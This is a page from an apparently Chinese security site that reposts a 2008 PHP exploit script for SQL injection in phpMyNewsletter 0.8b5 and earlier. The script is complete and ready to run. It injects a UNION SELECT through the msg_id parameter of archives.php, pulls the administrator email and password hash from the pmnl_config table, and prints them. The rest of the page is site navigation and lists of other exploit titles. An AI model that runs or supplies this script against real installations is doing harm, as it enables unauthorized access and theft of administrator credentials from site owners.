首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
phpMyNewsletter <= 0.8b5 (archives.php msg_id) SQL Injection Exploit
来源:charlesfol[at]hotmail.fr 作者:Charles 发布时间:2008-03-11  
#!/usr/bin/php
<?php
/*
* Name:    PHPMyNewsletter <= 0.8b5 SQL Injection
* Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
* Date:    03-10-08
* Conditions: magic_quotes_gpc=Off
*
* This exploit gets admin_pass and admin_email from pmnl_config.
*/

print "\n";
print "   PHPMyNewsletter <= 0.8b5 SQL Injection\n";
print "       by real <charlesfol[at]hotmail.fr>\n\n";

if($argc<2) die("usage: php phpmynewsletter_sql.php <url>\n");
$url  = $argv[1];

$c = get($url."archives.php?msg_id='%20UNION%20SELECT%201,1,admin_email,admin_pass%20%20FROM%20pmnl_config%2f%2a&list_id=1");

if(preg_match("#<div class='archivetitle'>(.+) - 0000-00-00 00:00:00</div>#i",$c,$a) && preg_match("#<div class='subcontent'>\t([a-f0-9]{32})</div></div>#i",$c,$b))
{
print "[*] Mail:\t$a[1]\n";
print "[*] Password:\t$b[1]\n";
}
else
{
print "[*] Exploit failed\n";
}

function get($url,$get=1)
{
$result = '';
preg_match("#^http://([^/]+)(/.*)$#i",$url,$infos);
$host = $infos[1];
$page = $infos[2];
$fp = fsockopen($host, 80, &$errno, &$errstr, 30);

$req  = "GET $page HTTP/1.1\r\n";
$req .= "Host: $host\r\n";
$req .= "User-Agent: Mozilla Firefox\r\n";
$req .= "Connection: close\r\n\r\n";

fputs($fp,$req);

if($get) while(!feof($fp)) $result .= fgets($fp,128);

fclose($fp);
return $result;
}

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Solaris 8/9/10 fifofs I_PEEK L
·Motorola Timbuktu Pro <= 8.6.5
·KingSoft UpdateOcx2.dll SetUni
·MailEnable SMTP Service VRFY/E
·VHCS <= 2.4.7.1 (vhcs2_daemon)
·Motorola Timbuktu Pro 8.6.5/8.
·zKup CMS 2.0 <= 2.3 Remote Upl
·Danneo CMS <= 0.5.1 Remote Bli
·zKup CMS 2.0 <= 2.3 Remote Add
·QuickTalk Forum <= 1.6 Remote
·ICQ Toolbar 2.3 ActiveX Remote
·Timbuktu Pro Remote Path Trave
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved